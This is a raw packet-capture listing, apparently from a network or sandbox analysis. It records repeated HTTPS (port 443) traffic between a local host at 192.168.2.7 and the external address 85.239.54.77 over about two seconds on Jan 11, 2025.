Jan 11, 2025 09:26:33.902117968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.902127981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.902949095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.902992010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.903014898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.903019905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.903042078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.903062105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910171986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910212994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910249949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910265923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910294056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910310984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910773993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910815954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910842896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910850048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.910871983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.910891056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.935893059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986018896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986099005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986116886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986143112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986160994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986187935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986743927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986804008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986824036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986830950 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.986854076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.986876965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987484932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987529993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987546921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987555981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987581015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987602949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987807035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987852097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987874985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987880945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.987911940 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.987929106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.988578081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.988620043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.988639116 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.988647938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.988660097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.988683939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.989339113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.989379883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.989408016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.989414930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.989433050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.989449024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.997008085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.997071028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.997097969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.997113943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.997132063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.997145891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.998943090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.998977900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.999020100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.999027967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:33.999052048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:33.999073982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.072688103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.072710991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.072751999 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.072784901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.072802067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.072829008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.073440075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.073463917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.073491096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.073501110 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.073528051 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.073544025 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.074101925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.074125051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.074160099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.074168921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.074193954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.074209929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.074954987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.074971914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075010061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075016975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075036049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075048923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075058937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075061083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075072050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075088978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075129032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075922012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075937986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.075984955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.075994968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.076050043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.083591938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.083609104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.083652973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.083668947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.083686113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.083705902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.084208012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.084224939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.084256887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.084292889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.139921904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.139944077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.185257912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.188266039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.188287973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.188322067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.188342094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.188361883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.188380957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.189035892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189052105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189102888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.189115047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189276934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.189667940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189687967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189726114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.189734936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.189759016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.189779043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.190407991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.190424919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.190471888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.190479994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.190504074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.190531015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.191226959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191245079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191323996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.191323996 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.191334963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191394091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.191881895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191900015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191946983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.191956043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.191994905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.192168951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.192184925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.192214966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.192224026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.192245960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.192262888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.192934990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.192950964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.192982912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.192991972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.193017960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.193032980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.275635958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.275662899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.275724888 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.275751114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276190996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276218891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276246071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.276254892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276273966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.276298046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.276853085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276870012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276896000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.276907921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.276936054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.276945114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.277476072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.277494907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.277550936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.277559996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.277620077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278120041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278147936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278178930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278187990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278206110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278227091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278825998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278842926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278889894 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278898954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.278918028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.278939009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.279328108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.279344082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.279452085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.279452085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.279463053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.279500008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.280267000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.280284882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.280317068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.280353069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.487349033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.529050112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662321091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662358999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662417889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662487030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662492037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662504911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662532091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662553072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662565947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662579060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662587881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662609100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662614107 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662632942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662646055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662662029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662669897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662683964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662688971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662705898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662714005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662741899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662748098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662777901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662780046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662792921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662803888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662873030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662885904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662898064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662906885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662923098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662936926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662959099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.662971973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.662995100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.663000107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.663003922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.663041115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.663075924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:34.867347002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:34.867469072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.295337915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.298568964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417265892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417299032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417402983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417515993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417525053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417536974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417596102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417603970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417614937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417685986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417690992 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417704105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417716026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417774916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417781115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417819977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417824984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417836905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417862892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417870045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417907953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417913914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417927027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417931080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.417953968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.417987108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.418005943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.418026924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.418040991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.418128967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.418143034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.418154001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.418196917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443233013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443274975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443337917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443408966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443414927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443434000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443447113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443547964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443558931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443572998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443588018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443686962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443695068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443711042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443725109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443833113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443840027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443855047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443875074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443973064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.443980932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.443999052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444013119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444108963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.444117069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444134951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444149971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.444185972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444211960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.444248915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444278955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444279909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.444302082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.444310904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.444351912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445044041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445067883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445137978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445148945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445174932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445204020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445224047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445242882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445285082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445291996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445316076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445341110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445430994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445460081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445486069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445492983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445535898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:35.445535898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445559025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445586920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:35.445594072 CET	49941	443	192.168.2.7	85.239.54.77
